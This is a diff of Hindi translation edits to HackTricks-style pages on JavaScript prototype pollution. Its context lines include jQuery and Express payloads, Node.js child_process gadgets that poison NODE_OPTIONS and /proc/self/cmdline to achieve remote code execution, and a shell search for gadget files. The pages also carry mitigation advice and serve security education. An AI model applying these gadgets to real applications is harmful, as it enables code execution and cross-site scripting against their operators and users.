सबसे आसान उदाहरण यह है कि एक **वस्तु के अनिर्धारित गुण** में एक मान जोड़ा जाए जो जांचा जाने वाला है, जैसे:
|
||||
सबसे आसान उदाहरण यह है कि एक **वस्तु के अनिर्धारित गुण** में एक मान जोड़ा जाए जिसे जांचा जाने वाला है, जैसे:
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
@ -183,13 +183,13 @@ Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
user.isAdmin // true
|
||||
```
|
||||
इस तंत्र के पीछे का तंत्र इस प्रकार है कि यदि एक हमलावर के पास कुछ इनपुट पर नियंत्रण है, तो वे एप्लिकेशन में सभी ऑब्जेक्ट्स के प्रोटोटाइप को संशोधित कर सकते हैं। यह हेरफेर आमतौर पर `__proto__` प्रॉपर्टी को सेट करने में शामिल होता है, जो कि JavaScript में, एक ऑब्जेक्ट के प्रोटोटाइप को सीधे संशोधित करने के समान है।
|
||||
इस तंत्र के पीछे की प्रक्रिया में गुणों को इस प्रकार से हेरफेर करना शामिल है कि यदि एक हमलावर के पास कुछ इनपुट पर नियंत्रण है, तो वे एप्लिकेशन में सभी वस्तुओं के प्रोटोटाइप को संशोधित कर सकते हैं। यह हेरफेर आमतौर पर `__proto__` गुण को सेट करने में शामिल होता है, जो कि JavaScript में, एक वस्तु के प्रोटोटाइप को सीधे संशोधित करने के समान है।
|
||||
|
||||
उन शर्तों में जिनके तहत यह हमला सफलतापूर्वक निष्पादित किया जा सकता है, जैसा कि एक विशेष [अध्ययन](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) में वर्णित है, शामिल हैं:
|
||||
इस हमले को सफलतापूर्वक निष्पादित करने की शर्तें, जैसा कि एक विशेष [अध्ययन](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) में वर्णित है, में शामिल हैं:
|
||||
|
||||
- एक पुनरावृत्त मर्ज करना।
|
||||
- एक पथ के आधार पर प्रॉपर्टीज को परिभाषित करना।
|
||||
- ऑब्जेक्ट्स को क्लोन करना।
|
||||
- एक पथ के आधार पर गुणों को परिभाषित करना।
|
||||
- वस्तुओं को क्लोन करना।
|
||||
|
||||
### Override function
|
||||
```python
|
||||
@ -213,7 +213,7 @@ client-side-prototype-pollution.md
|
||||
|
||||
### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
|
||||
|
||||
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery में, `$ .extend` फ़ंक्शन प्रोटोटाइप प्रदूषण का कारण बन सकता है यदि गहरे कॉपी फ़ीचर का गलत उपयोग किया जाए। यह फ़ंक्शन आमतौर पर ऑब्जेक्ट्स को क्लोन करने या डिफ़ॉल्ट ऑब्जेक्ट से प्रॉपर्टीज़ को मर्ज करने के लिए उपयोग किया जाता है। हालाँकि, जब गलत कॉन्फ़िगर किया जाता है, तो नए ऑब्जेक्ट के लिए निर्धारित प्रॉपर्टीज़ को प्रोटोटाइप में असाइन किया जा सकता है। उदाहरण के लिए:
|
||||
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery में, `$ .extend` फ़ंक्शन प्रोटोटाइप प्रदूषण का कारण बन सकता है यदि गहरे कॉपी फ़ीचर का गलत उपयोग किया जाए। यह फ़ंक्शन आमतौर पर ऑब्जेक्ट्स को क्लोन करने या एक डिफ़ॉल्ट ऑब्जेक्ट से प्रॉपर्टीज़ को मर्ज करने के लिए उपयोग किया जाता है। हालाँकि, जब गलत कॉन्फ़िगर किया जाता है, तो नए ऑब्जेक्ट के लिए निर्धारित प्रॉपर्टीज़ को प्रोटोटाइप में असाइन किया जा सकता है। उदाहरण के लिए:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
@ -224,7 +224,7 @@ console.log({}.devMode) // Outputs: true
|
||||
|
||||
[अधिक जानकारी के लिए इस लेख की जांच करें](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) ने समान प्रोटोटाइप प्रदूषण कमजोरियों (CVE-2018–3721, CVE-2019–10744) का सामना किया। इन मुद्दों को संस्करण 4.17.11 में संबोधित किया गया था।
|
||||
[Lodash](https://www.npmjs.com/package/lodash) ने समान प्रोटोटाइप प्रदूषण कमजोरियों का सामना किया (CVE-2018–3721, CVE-2019–10744)। इन मुद्दों को संस्करण 4.17.11 में संबोधित किया गया था।
|
||||
|
||||
### CVEs के साथ एक और ट्यूटोरियल
|
||||
|
||||
@ -251,7 +251,7 @@ Handlebars टेम्पलेट इंजन प्रोटोटाइप
|
||||
2. **कंपाइलर द्वारा हैंडलिंग**: कंपाइलर एक AST ऑब्जेक्ट या एक स्ट्रिंग टेम्पलेट को संसाधित कर सकता है। यदि `input.type` `Program` के बराबर है, तो इनपुट को पूर्व-विश्लेषित के रूप में माना जाता है, जिसका लाभ उठाया जा सकता है।
|
||||
3. **कोड का इंजेक्शन**: `Object.prototype` के हेरफेर के माध्यम से, कोई भी टेम्पलेट फ़ंक्शन में मनमाना कोड इंजेक्ट कर सकता है, जो दूरस्थ कोड निष्पादन की ओर ले जा सकता है।
|
||||
|
||||
Handlebars की कमजोरी के शोषण का एक उदाहरण:
|
||||
Handlebars की कमजोरी के शोषण को प्रदर्शित करने वाला एक उदाहरण:
|
||||
```javascript
|
||||
const Handlebars = require("handlebars")
|
||||
|
||||
@ -338,14 +338,14 @@ requests.get(TARGET_URL)
|
||||
|
||||
1. **ऑब्जेक्ट अपरिवर्तनीयता**: `Object.prototype` को `Object.freeze` लागू करके अपरिवर्तनीय बनाया जा सकता है।
|
||||
2. **इनपुट मान्यता**: JSON इनपुट को एप्लिकेशन के स्कीमा के खिलाफ सख्ती से मान्य किया जाना चाहिए।
|
||||
3. **सुरक्षित मर्ज फ़ंक्शन**: पुनरावर्ती मर्ज फ़ंक्शनों का असुरक्षित उपयोग से बचना चाहिए।
|
||||
3. **सुरक्षित मर्ज फ़ंक्शन**: पुनरावृत्त मर्ज फ़ंक्शनों का असुरक्षित उपयोग से बचना चाहिए।
|
||||
4. **प्रोटोटाइप-रहित ऑब्जेक्ट**: प्रोटोटाइप गुणों के बिना ऑब्जेक्ट `Object.create(null)` का उपयोग करके बनाए जा सकते हैं।
|
||||
5. **मैप का उपयोग**: कुंजी-मूल्य जोड़ों को संग्रहीत करने के लिए `Object` के बजाय `Map` का उपयोग किया जाना चाहिए।
|
||||
6. **लाइब्रेरी अपडेट**: नियमित रूप से लाइब्रेरी को अपडेट करके सुरक्षा पैच को शामिल किया जा सकता है।
|
||||
7. **लिंटर और स्थैतिक विश्लेषण उपकरण**: प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और रोकने के लिए उपयुक्त प्लगइन्स के साथ ESLint जैसे उपकरणों का उपयोग करें।
|
||||
8. **कोड समीक्षाएँ**: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए गहन कोड समीक्षाओं को लागू करें।
|
||||
8. **कोड समीक्षा**: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए गहन कोड समीक्षाओं को लागू करें।
|
||||
9. **सुरक्षा प्रशिक्षण**: डेवलपर्स को प्रोटोटाइप प्रदूषण के जोखिमों और सुरक्षित कोड लिखने के सर्वोत्तम प्रथाओं के बारे में शिक्षित करें।
|
||||
10. **लाइब्रेरी का सावधानी से उपयोग**: तृतीय-पक्ष लाइब्रेरी का उपयोग करते समय सावधान रहें। उनकी सुरक्षा स्थिति का आकलन करें और उनके कोड की समीक्षा करें, विशेष रूप से जो ऑब्जेक्ट को संशोधित करते हैं।
|
||||
10. **लाइब्रेरी का सावधानी से उपयोग**: तृतीय-पक्ष लाइब्रेरी का उपयोग करते समय सावधानी बरतें। उनकी सुरक्षा स्थिति का आकलन करें और उनके कोड की समीक्षा करें, विशेष रूप से जो ऑब्जेक्ट को संशोधित करते हैं।
|
||||
11. **रनटाइम सुरक्षा**: प्रोटोटाइप प्रदूषण हमलों का पता लगाने और रोकने के लिए सुरक्षा-केंद्रित npm पैकेजों का उपयोग करके रनटाइम सुरक्षा तंत्र लागू करें।
|
||||
|
||||
## संदर्भ
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
उपकरण [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **और** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) का उपयोग **प्रोटोटाइप प्रदूषण कमजोरियों** को **खोजने** के लिए किया जा सकता है।
|
||||
|
||||
इसके अलावा, आप **ब्राउज़र एक्सटेंशन** [**PPScan**](https://github.com/msrkp/PPScan) का भी उपयोग कर सकते हैं ताकि आप **स्वचालित रूप से** उन **पृष्ठों** को **स्कैन** कर सकें जिन्हें आप **प्रोटोटाइप प्रदूषण कमजोरियों** के लिए **एक्सेस** करते हैं।
|
||||
इसके अलावा, आप **ब्राउज़र एक्सटेंशन** [**PPScan**](https://github.com/msrkp/PPScan) का उपयोग करके **स्वचालित रूप से** उन **पृष्ठों** को **स्कैन** कर सकते हैं जिन्हें आप **प्रोटोटाइप प्रदूषण कमजोरियों** के लिए **एक्सेस** करते हैं।
|
||||
|
||||
### यह पता लगाना कि एक प्रॉपर्टी कहां उपयोग की गई है <a href="#id-5530" id="id-5530"></a>
|
||||
### यह पता लगाना कि एक प्रॉपर्टी कहाँ उपयोग की जाती है <a href="#id-5530" id="id-5530"></a>
|
||||
```javascript
|
||||
// Stop debugger where 'potentialGadget' property is accessed
|
||||
Object.defineProperty(Object.prototype, "potentialGadget", {
|
||||
@ -19,15 +19,15 @@ return "test"
|
||||
},
|
||||
})
|
||||
```
|
||||
### Finding the root cause of Prototype Pollution <a href="#id-5530" id="id-5530"></a>
|
||||
### Prototype Pollution के मूल कारण का पता लगाना <a href="#id-5530" id="id-5530"></a>
|
||||
|
||||
एक बार जब किसी भी उपकरण द्वारा प्रोटोटाइप प्रदूषण की भेद्यता की पहचान कर ली जाती है, और यदि कोड अत्यधिक जटिल नहीं है, तो आप Chrome Developer Tools में `location.hash`, `decodeURIComponent`, या `location.search` जैसे कीवर्ड्स की खोज करके भेद्यता को ढूंढ सकते हैं। यह दृष्टिकोण आपको JavaScript कोड के संवेदनशील भाग को सटीक रूप से पहचानने की अनुमति देता है।
|
||||
एक बार जब किसी भी उपकरण द्वारा एक prototype pollution सुरक्षा कमजोरी की पहचान की जाती है, और यदि कोड अत्यधिक जटिल नहीं है, तो आप Chrome Developer Tools में `location.hash`, `decodeURIComponent`, या `location.search` जैसे कीवर्ड्स की खोज करके कमजोरी को ढूंढ सकते हैं। यह दृष्टिकोण आपको JavaScript कोड के कमजोर हिस्से को सटीक रूप से पहचानने की अनुमति देता है।
|
||||
|
||||
बड़े और अधिक जटिल कोडबेस के लिए, संवेदनशील कोड को खोजने के लिए एक सीधा तरीका निम्नलिखित चरणों में शामिल है:
|
||||
बड़े और अधिक जटिल कोडबेस के लिए, कमजोर कोड का पता लगाने के लिए एक सीधा तरीका निम्नलिखित चरणों में शामिल है:
|
||||
|
||||
1. एक उपकरण का उपयोग करें ताकि एक भेद्यता की पहचान की जा सके और एक पेलोड प्राप्त किया जा सके जो कंस्ट्रक्टर में एक प्रॉपर्टी सेट करने के लिए डिज़ाइन किया गया हो। ppmap द्वारा प्रदान किया गया एक उदाहरण इस प्रकार हो सकता है: `constructor[prototype][ppmap]=reserved`।
|
||||
2. उस पहले JavaScript कोड की पंक्ति पर एक ब्रेकपॉइंट सेट करें जो पृष्ठ पर निष्पादित होगा। पृष्ठ को पेलोड के साथ रिफ्रेश करें, इस ब्रेकपॉइंट पर निष्पादन को रोकते हुए।
|
||||
3. जब JavaScript निष्पादन रुका हो, तो JS कंसोल में निम्नलिखित स्क्रिप्ट निष्पादित करें। यह स्क्रिप्ट संकेत देगी जब 'ppmap' प्रॉपर्टी बनाई जाती है, जिससे इसके मूल को खोजने में मदद मिलेगी:
|
||||
1. एक उपकरण का उपयोग करें ताकि एक सुरक्षा कमजोरी की पहचान की जा सके और एक payload प्राप्त किया जा सके जो कंस्ट्रक्टर में एक प्रॉपर्टी सेट करने के लिए डिज़ाइन किया गया हो। ppmap द्वारा प्रदान किया गया एक उदाहरण इस तरह दिख सकता है: `constructor[prototype][ppmap]=reserved`।
|
||||
2. उस JavaScript कोड की पहली पंक्ति पर एक ब्रेकपॉइंट सेट करें जो पृष्ठ पर निष्पादित होगा। इस payload के साथ पृष्ठ को रिफ्रेश करें, इस ब्रेकपॉइंट पर निष्पादन को रोकते हुए।
|
||||
3. जब JavaScript निष्पादन रुका हो, तो JS कंसोल में निम्नलिखित स्क्रिप्ट निष्पादित करें। यह स्क्रिप्ट संकेत देगी जब 'ppmap' प्रॉपर्टी बनाई जाती है, जिससे इसके मूल का पता लगाने में मदद मिलेगी:
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet = true) {
|
||||
var origValue = obj[prop]
|
||||
@ -54,7 +54,7 @@ debugAccess(Object.prototype, "ppmap")
|
||||
|
||||
## स्क्रिप्ट गैजेट्स खोजना
|
||||
|
||||
गैजेट वह **कोड है जिसका दुरुपयोग एक PP भेद्यता के खोजे जाने पर किया जाएगा**।
|
||||
गैजेट वह **कोड है जिसका दुरुपयोग तब किया जाएगा जब एक PP भेद्यता खोजी जाएगी**।
|
||||
|
||||
यदि एप्लिकेशन सरल है, तो हम **`srcdoc/innerHTML/iframe/createElement`** जैसे **कीवर्ड्स** के लिए **खोज** कर सकते हैं और स्रोत कोड की समीक्षा कर सकते हैं और देख सकते हैं कि क्या यह **जावास्क्रिप्ट निष्पादन की ओर ले जाता है**। कभी-कभी, उल्लेखित तकनीकें गैजेट्स नहीं खोज पाती हैं। उस मामले में, शुद्ध स्रोत कोड समीक्षा कुछ अच्छे गैजेट्स का खुलासा करती है जैसे कि नीचे दिया गया उदाहरण।
|
||||
|
||||
@ -69,7 +69,7 @@ debugAccess(Object.prototype, "ppmap")
|
||||
|
||||
## PP के माध्यम से HTML Sanitizers बायपास
|
||||
|
||||
[**यह शोध**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) PP गैजेट्स को दिखाता है जो **कुछ HTML sanitizers लाइब्रेरी द्वारा प्रदान की गई सैनीटाइजेशन को बायपास करने के लिए उपयोग किए जा सकते हैं**:
|
||||
[**यह शोध**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) PP गैजेट्स को दिखाता है जो **कुछ HTML sanitizers लाइब्रेरी द्वारा प्रदान की गई सैनीटाइजेशन को बायपास करने के लिए** उपयोग किए जा सकते हैं:
|
||||
|
||||
- **sanitize-html**
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Serve XSS responses
|
||||
## XSS प्रतिक्रियाएँ प्रदान करें
|
||||
|
||||
**अधिक जानकारी के लिए** [**मूल शोध पर एक नज़र डालें**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
@ -16,7 +16,7 @@ _.merge({}, req.body)
|
||||
res.send(req.body)
|
||||
})
|
||||
```
|
||||
इन मामलों में XSS सामान्यतः JSON सामग्री प्रकार के साथ संभव नहीं है। हालाँकि, प्रोटोटाइप प्रदूषण के साथ हम **Express को HTML प्रतिक्रिया देने के लिए भ्रमित कर सकते हैं।** यह भेद्यता इस पर निर्भर करती है कि एप्लिकेशन **`res.send(obj)`** का उपयोग कर रहा है और एप्लिकेशन/json सामग्री प्रकार के साथ बॉडी पार्सर का उपयोग कर रहा है।
|
||||
इन मामलों में XSS सामान्यतः JSON सामग्री प्रकार के साथ संभव नहीं है। हालाँकि, प्रोटोटाइप प्रदूषण के साथ हम **Express को HTML प्रतिक्रिया देने के लिए भ्रमित कर सकते हैं।** यह भेद्यता इस पर निर्भर करती है कि एप्लिकेशन **`res.send(obj)`** का उपयोग कर रहा है और application/json सामग्री प्रकार के साथ बॉडी पार्सर का उपयोग कर रहा है।
|
||||
```json
|
||||
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
|
||||
```
|
||||
@ -32,7 +32,7 @@ res.send(req.body)
|
||||
|
||||
### JSON स्पेस
|
||||
|
||||
निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्थान देने के लिए बनाएगा जो कार्यक्षमता को बाधित नहीं करेगा:
|
||||
निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्पेस देने के लिए बनाएगा जो कार्यक्षमता को बाधित नहीं करेगा:
|
||||
```json
|
||||
{ "__proto__": { "json spaces": " " } }
|
||||
```
|
||||
@ -76,7 +76,7 @@ res.send(req.body)
|
||||
```
|
||||
### Reflected Value
|
||||
|
||||
जब एक एप्लिकेशन अपनी प्रतिक्रिया में एक ऑब्जेक्ट शामिल करता है, तो **`__proto__` के साथ एक असामान्य नाम के साथ एक विशेषता बनाना** जानकारीपूर्ण हो सकता है। विशेष रूप से, यदि **केवल असामान्य विशेषता प्रतिक्रिया में लौटाई जाती है**, तो यह एप्लिकेशन की कमजोरियों का संकेत दे सकता है:
|
||||
जब एक एप्लिकेशन अपनी प्रतिक्रिया में एक ऑब्जेक्ट शामिल करता है, तो `__proto__` के साथ एक **असामान्य नाम वाला एट्रिब्यूट** बनाना जानकारीपूर्ण हो सकता है। विशेष रूप से, यदि **केवल असामान्य एट्रिब्यूट प्रतिक्रिया में लौटाया जाता है**, तो यह एप्लिकेशन की कमजोरियों का संकेत दे सकता है:
|
||||
```json
|
||||
{ "unusualName": "value", "__proto__": "test" }
|
||||
```
|
||||
|
@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
}
|
||||
}
|
||||
```
|
||||
कोड की जांच करें, आप देख सकते हैं कि **`envPairs`** को **`attribute `.env`** को **pollute** करके **poison** करना संभव है।
|
||||
कोड की जांच करें, आप देख सकते हैं कि **`envPairs`** को **`.env`** विशेषता को **pollute** करके **poison** करना संभव है।
|
||||
|
||||
### **`__proto__` को Poison करना**
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **`child_process`** लाइब्रेरी के **`normalizeSpawnArguments`** फ़ंक्शन के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे **process के लिए एक नया env variable सेट** किया जा सके, तो आपको बस **कुछ भी pollute** करने की आवश्यकता होती है।\
|
||||
> उदाहरण के लिए, यदि आप `__proto__.avar="valuevar"` करते हैं, तो प्रक्रिया एक var के साथ `avar` नाम से `valuevar` मान के साथ शुरू की जाएगी।
|
||||
> ध्यान दें कि **`child_process`** लाइब्रेरी के **`normalizeSpawnArguments`** फ़ंक्शन के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे प्रक्रिया के लिए **एक नया env वेरिएबल सेट** किया जा सके, तो आपको बस **कुछ भी pollute** करने की आवश्यकता होती है।\
|
||||
> उदाहरण के लिए, यदि आप `__proto__.avar="valuevar"` करते हैं, तो प्रक्रिया एक वेरिएबल के साथ स्पॉन होगी जिसका नाम `avar` और मान `valuevar` होगा।
|
||||
>
|
||||
> हालाँकि, **env variable को पहला होने के लिए** आपको **`.env` attribute** को **pollute** करना होगा और (केवल कुछ तरीकों में) वह var **पहला** होगा (हमले की अनुमति देता है)।
|
||||
> हालाँकि, **env वेरिएबल को पहला होने के लिए** आपको **`.env` विशेषता को pollute** करना होगा और (केवल कुछ तरीकों में) वह वेरिएबल **पहला** होगा (हमले की अनुमति देता है)।
|
||||
>
|
||||
> यही कारण है कि **`NODE_OPTIONS`** निम्नलिखित हमले में **`.env`** के अंदर **नहीं है**।
|
||||
> यही कारण है कि **`NODE_OPTIONS`** निम्नलिखित हमले में **`.env`** के अंदर नहीं है।
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
|
||||
@ -124,8 +124,8 @@ var proc = fork("a_file.js")
|
||||
|
||||
पिछले वाले के समान एक पेलोड कुछ परिवर्तनों के साथ [**इस लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में प्रस्तावित किया गया था। मुख्य अंतर हैं:
|
||||
|
||||
- **payload** को `/proc/self/environ` फ़ाइल के अंदर स्टोर करने के बजाय, इसे **`/proc/self/cmdline`** के **argv0** के अंदर स्टोर किया जाता है।
|
||||
- फिर, **`NODE_OPTIONS`** के माध्यम से `/proc/self/environ` फ़ाइल की आवश्यकता के बजाय, यह **`/proc/self/cmdline`** की आवश्यकता करता है।
|
||||
- `/proc/self/environ` फ़ाइल के अंदर nodejs **payload** को संग्रहीत करने के बजाय, यह इसे **`/proc/self/cmdline`** के **argv0** के अंदर संग्रहीत करता है।
|
||||
- फिर, **`NODE_OPTIONS`** के माध्यम से `/proc/self/environ` फ़ाइल की आवश्यकता करने के बजाय, यह **`/proc/self/cmdline`** की आवश्यकता करता है।
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
|
||||
@ -227,10 +227,10 @@ var proc = execFile("/usr/bin/node")
|
||||
|
||||
// Windows - not working
|
||||
```
|
||||
**`execFile`** के काम करने के लिए यह **ज़रूरी है कि node** को चलाना पड़े ताकि NODE_OPTIONS काम कर सके।\
|
||||
अगर यह **node** को नहीं चला रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी चल रहा है, उसकी **कार्यवाही को कैसे बदल सकते हैं** और उन्हें सेट करें।
|
||||
**`execFile`** के काम करने के लिए यह **आवश्यक है कि node को निष्पादित करें** ताकि NODE_OPTIONS काम कर सके।\
|
||||
यदि यह **node** को निष्पादित नहीं कर रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी निष्पादित हो रहा है, उसकी **निष्पादन को कैसे बदल सकते हैं** और उन्हें सेट करें।
|
||||
|
||||
**अन्य** तकनीकें इस आवश्यकता के बिना **काम करती हैं** क्योंकि यह **संभव है** कि **जो चल रहा है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं कर पाएंगे जो चल रही है)।
|
||||
**अन्य** तकनीकें इस आवश्यकता के बिना **काम करती हैं** क्योंकि यह **संभव है** कि **जो निष्पादित होता है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं करेंगे जो निष्पादित हो रही है)।
|
||||
|
||||
</details>
|
||||
|
||||
@ -463,18 +463,18 @@ var proc = spawnSync("something")
|
||||
|
||||
## स्पॉन को मजबूर करना
|
||||
|
||||
पिछले उदाहरणों में आपने देखा कि गैजेट को ट्रिगर करने के लिए एक कार्यक्षमता की आवश्यकता होती है जो **`spawn`** को **कॉल** करती है (कुछ निष्पादित करने के लिए उपयोग किए जाने वाले **`child_process`** के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह **कोड का हिस्सा** था, लेकिन अगर कोड **इसे** कॉल नहीं कर रहा है तो क्या होगा।
|
||||
पिछले उदाहरणों में आपने देखा कि गेजेट को ट्रिगर करने के लिए एक कार्यक्षमता की आवश्यकता होती है जो **`spawn`** को **कॉल** करती है (कुछ निष्पादित करने के लिए उपयोग किए जाने वाले **`child_process`** के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह **कोड का हिस्सा** था, लेकिन अगर कोड **इसे** कॉल नहीं कर रहा है तो क्या होगा।
|
||||
|
||||
### एक आवश्यक फ़ाइल पथ को नियंत्रित करना
|
||||
|
||||
इस [**अन्य लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ **`require`** निष्पादित होगा। उस परिदृश्य में हमलावर को बस **सिस्टम के अंदर एक `.js` फ़ाइल खोजने की आवश्यकता है** जो **आयात करने पर एक स्पॉन विधि को निष्पादित करेगी।**\
|
||||
आयात करने पर स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं:
|
||||
इस [**अन्य लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ **`require`** निष्पादित होगा। उस परिदृश्य में हमलावर को बस **सिस्टम के अंदर एक `.js` फ़ाइल खोजने की आवश्यकता है** जो **आयात करते समय एक स्पॉन विधि को निष्पादित करेगी।**\
|
||||
आयात करते समय स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं:
|
||||
|
||||
- /path/to/npm/scripts/changelog.js
|
||||
- /opt/yarn-v1.22.19/preinstall.js
|
||||
- **नीचे और फ़ाइलें खोजें**
|
||||
|
||||
निम्नलिखित सरल स्क्रिप्ट **कॉल** के लिए **child_process** को **बिना किसी पैडिंग** के खोजेगी (फंक्शंस के अंदर कॉल दिखाने से बचने के लिए):
|
||||
निम्नलिखित सरल स्क्रिप्ट **कॉल** के लिए **child_process** को **कोई पैडिंग** के बिना खोजेगी (फंक्शंस के अंदर कॉल दिखाने से बचने के लिए):
|
||||
```bash
|
||||
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
||||
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
||||
@ -508,8 +508,8 @@ done
|
||||
|
||||
- सिस्टम के अंदर एक **`.js` फ़ाइल खोजें** जो जब **आवश्यक** की जाएगी तो **`child_process` का उपयोग करके कुछ निष्पादित करेगी**
|
||||
- यदि आप उस प्लेटफ़ॉर्म पर फ़ाइलें अपलोड कर सकते हैं जिसे आप हमला कर रहे हैं, तो आप ऐसी फ़ाइल अपलोड कर सकते हैं
|
||||
- **`.js` फ़ाइल के require लोड को मजबूर करने के लिए पथों को प्रदूषित करें** जो child_process के साथ कुछ निष्पादित करेगा
|
||||
- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो मनमाना कोड निष्पादित करने के लिए **पर्यावरण/cmdline को प्रदूषित करें** (प्रारंभिक तकनीकों को देखें)
|
||||
- **`.js` फ़ाइल के require लोड को मजबूर करने के लिए पथों को प्रदूषित करें** जो child_process के साथ कुछ निष्पादित करेगी
|
||||
- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो **मनमाने कोड को निष्पादित करने के लिए environ/cmdline को प्रदूषित करें** (प्रारंभिक तकनीकों को देखें)
|
||||
|
||||
#### पूर्ण require
|
||||
|
||||
@ -660,17 +660,17 @@ require("./usage.js")
|
||||
```
|
||||
## VM Gadgets
|
||||
|
||||
कागज में [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) यह भी संकेत दिया गया है कि **`vm`** पुस्तकालय के कुछ तरीकों से **`contextExtensions`** का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।\
|
||||
कागज़ में [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) यह भी संकेत दिया गया है कि **`vm`** पुस्तकालय के कुछ तरीकों से **`contextExtensions`** का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।\
|
||||
हालांकि, पिछले **`child_process`** तरीकों की तरह, इसे नवीनतम संस्करणों में **फिक्स** किया गया है।
|
||||
|
||||
## Fixes & Unexpected protections
|
||||
|
||||
कृपया ध्यान दें कि प्रोटोटाइप प्रदूषण तब काम करता है जब किसी वस्तु का **attribute** जो एक्सेस किया जा रहा है, **undefined** है। यदि **कोड** में उस **attribute** को **set** किया गया है, तो आप इसे **overwrite** नहीं कर पाएंगे।
|
||||
कृपया ध्यान दें कि प्रोटोटाइप प्रदूषण तब काम करता है जब एक वस्तु का **attribute** जो एक्सेस किया जा रहा है, **undefined** है। यदि **कोड** में उस **attribute** को **set** किया गया है, तो आप इसे **overwrite** नहीं कर पाएंगे।
|
||||
|
||||
जून 2022 में [**इस कमिट**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) से var `options` एक **`kEmptyObject`** है, `{}` के बजाय। जो **प्रोटोटाइप प्रदूषण** को **options** के **attributes** को RCE प्राप्त करने से प्रभावित होने से रोकता है।\
|
||||
कम से कम v18.4.0 से यह सुरक्षा **लागू** की गई है, और इसलिए `spawn` और `spawnSync` **exploits** जो तरीकों को प्रभावित करते हैं, **अब काम नहीं करते** (यदि कोई `options` का उपयोग नहीं किया गया है!)।
|
||||
जून 2022 में [**इस कमिट**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) से var `options` एक **`kEmptyObject`** है, न कि एक `{}`। जो **प्रोटोटाइप प्रदूषण** को **options** के **attributes** को RCE प्राप्त करने से प्रभावित होने से रोकता है।\
|
||||
कम से कम v18.4.0 से यह सुरक्षा **लागू** की गई है, और इसलिए `spawn` और `spawnSync` **exploits** जो तरीकों को प्रभावित करते थे, अब **काम नहीं करते** (यदि कोई `options` का उपयोग नहीं किया गया है!)।
|
||||
|
||||
